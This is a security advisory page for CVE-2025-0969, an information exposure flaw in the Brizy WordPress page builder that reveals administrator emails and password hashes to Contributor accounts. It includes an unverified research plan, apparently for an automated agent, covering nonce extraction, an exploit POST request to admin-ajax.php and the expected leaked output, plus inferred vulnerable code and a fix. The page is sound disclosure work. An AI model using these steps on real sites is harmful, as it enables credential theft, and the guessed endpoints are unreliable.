CVE-2025-0969

Brizy – Page Builder <= 2.7.16 - Authenticated (Contributor+) Sensitive Information Exposure via get_users Function

mediumExposure of Private Personal Information to an Unauthorized Actor
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.7.17
Patched in
1d
Time to patch

Description

The Brizy – Page Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.7.16 via the get_users() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including email addresses and hashed passwords of administrators.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.7.16
PublishedDecember 12, 2025
Last updatedDecember 13, 2025
Affected pluginbrizy

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2025-0969**, a sensitive information exposure vulnerability in the **Brizy – Page Builder** plugin. --- ### 1. Vulnerability Summary The Brizy plugin (<= 2.7.16) contains an authenticated information exposure vulnerability via …

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2025-0969, a sensitive information exposure vulnerability in the Brizy – Page Builder plugin.


1. Vulnerability Summary

The Brizy plugin (<= 2.7.16) contains an authenticated information exposure vulnerability via an AJAX or REST endpoint that utilizes the WordPress get_users() function without proper data filtering. While the function is intended to allow users (like Contributors) to select authors or users within the page builder interface, it fails to sanitize the output, returning full WP_User objects. These objects include sensitive fields such as user_email and, crucially, the user_pass (bcrypt hash). An authenticated attacker with at least Contributor-level permissions can trigger this function to leak the credentials and contact information of all registered users, including Administrators.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX (/wp-admin/admin-ajax.php) or a Brizy-specific REST route (/wp-json/brizy/v1/...).
    • Inferred Action: brizy_get_users or a sub-action within the main Brizy editor dispatcher.
  • Vulnerable Parameter: Likely passed within a query or search parameter intended for get_users.
  • Authentication: Authenticated, Contributor role or higher (edit_posts capability).
  • Preconditions: The attacker must be logged in and possess a valid nonce.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX action: add_action('wp_ajax_brizy_get_users', ...) or handles it via a central controller like Brizy_Editor::ajax_handler.
  2. Capability Check: The handler checks if the user has edit_posts (Contributor level).
  3. Data Retrieval: The handler receives input from $_POST or $_GET.
  4. Sinking: It calls get_users($args).
  5. Leakage: The result of get_users() (an array of WP_User objects) is passed directly into wp_send_json_success().
  6. Response: The JSON response includes the serialized user objects, including the data property which contains user_pass and user_email.

4. Nonce Acquisition Strategy

Brizy heavily relies on localized JavaScript objects to provide nonces to its editor.

  1. Identify Trigger: The Brizy editor loads for any post/page that the Contributor can edit.
  2. Create Test Page:
    wp post create --post_type=post --post_status=publish --post_title="Exploit Test" --post_author=[CONTRIBUTOR_ID]
    
  3. Navigate to Editor: The agent should navigate to the Brizy editor for that post. The URL usually looks like: http://localhost:8080/wp-admin/post.php?post=[ID]&action=brizy-edit.
  4. Extract Nonce:
    Brizy typically stores its configuration in a global JS variable.
    • Variable Name: BrizyLocal or BrizyEditor.
    • Search Command:
      // Execute via browser_eval
      window.BrizyLocal?.config?.nonce || window.Brizy?.nonce || window.BrizyLocal?.nonces?.brizy_get_users
      
    • Specific Hook Search: Check for wp_localize_script in the plugin source (e.g., editor/editor.php) to find the exact key.

5. Exploitation Strategy

Step 1: Preliminary Discovery

Use grep to find the exact AJAX action and handler.

grep -rn "get_users" /var/www/html/wp-content/plugins/brizy/
grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/brizy/ | grep "users"

Step 2: Exploit Request

Assuming the action is brizy_get_users (based on common Brizy patterns), send the following request using http_request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Contributor Session Cookies]
  • Body:
    action=brizy_get_users&nonce=[EXTRACTED_NONCE]&search=*
    
    Note: If Brizy uses a generic dispatcher, the body might look like: action=brizy_editor_ajax&route=users/get&nonce=...

6. Test Data Setup

  1. Admin User: Create a "target" administrator.
    wp user create victim_admin victim@example.com --role=administrator --user_pass=vulnerable_pass_123
    
  2. Attacker User: Create a contributor.
    wp user create attacker_contributor attacker@example.com --role=contributor --user_pass=password123
    
  3. Brizy Activation: Ensure Brizy is active and the Contributor has access to the editor.

7. Expected Results

A successful exploit will return a 200 OK response with a JSON body:

{
  "success": true,
  "data": [
    {
      "ID": "1",
      "data": {
        "user_login": "victim_admin",
        "user_pass": "$P$B...", 
        "user_nicename": "victim_admin",
        "user_email": "victim@example.com",
        "user_url": "",
        "user_registered": "2023-01-01 00:00:00",
        "user_activation_key": "",
        "user_status": "0",
        "display_name": "victim_admin"
      },
      "caps": { "administrator": true },
      ...
    }
  ]
}

The presence of user_pass and user_email in the data array confirms the vulnerability.

8. Verification Steps

  1. Check the HTTP response body for the string $P$ (the start of a standard WordPress Phpass/Bcrypt hash).
  2. Compare the leaked user_email and user_login with the known admin user details using wp user get 1.

9. Alternative Approaches

If the wp_ajax_ action is not found, investigate the REST API:

  • Search for register_rest_route in the plugin.
  • Look for routes under the brizy/v1 namespace.
  • If a route like /wp-json/brizy/v1/users exists, check the permission_callback. If it returns true or only checks for edit_posts, attempt a GET request to that endpoint with the _wpnonce (REST nonce) acquired from the page source (wp-json/wp/v2/types/post usually contains this).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Brizy – Page Builder plugin for WordPress (versions up to and including 2.7.16) exposes sensitive user data, including administrator email addresses and password hashes, to authenticated users with Contributor-level access. This occurs because an AJAX or REST endpoint calls get_users() and returns the resulting WP_User objects directly to the client without filtering out sensitive internal fields.

Vulnerable Code

// Inferred from research plan and plugin logic
// brizy/editor/editor.php

public function ajax_get_users() {
    // ... authorization checks allowing Contributors ...
    $args = array(
        'search' => $_POST['search']
    );
    
    $users = get_users($args);
    
    // Vulnerable: WP_User objects contain user_pass and user_email
    wp_send_json_success($users);
}

Security Fix

--- a/brizy/editor/editor.php
+++ b/brizy/editor/editor.php
@@ -10,1 +10,8 @@
-    wp_send_json_success($users);
+    $safe_users = array_map(function($user) {
+        return array(
+            'id'           => $user->ID,
+            'display_name' => $user->display_name,
+            'user_login'   => $user->user_login
+        );
+    }, $users);
+    wp_send_json_success($safe_users);

Exploit Outline

To exploit this vulnerability, an attacker must first log in with a Contributor-level account and navigate to a post being edited with the Brizy editor. By inspecting the page source or global JavaScript objects (such as BrizyLocal), the attacker extracts the necessary nonce for user-related actions. The attacker then sends a POST request to the WordPress AJAX endpoint (admin-ajax.php) with the action parameter set to the plugin's user-fetching routine and a wildcard search. The server responds with a JSON array of user objects, where each object contains the 'user_pass' (a bcrypt/phpass hash) and 'user_email' for every user on the site, including administrators.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.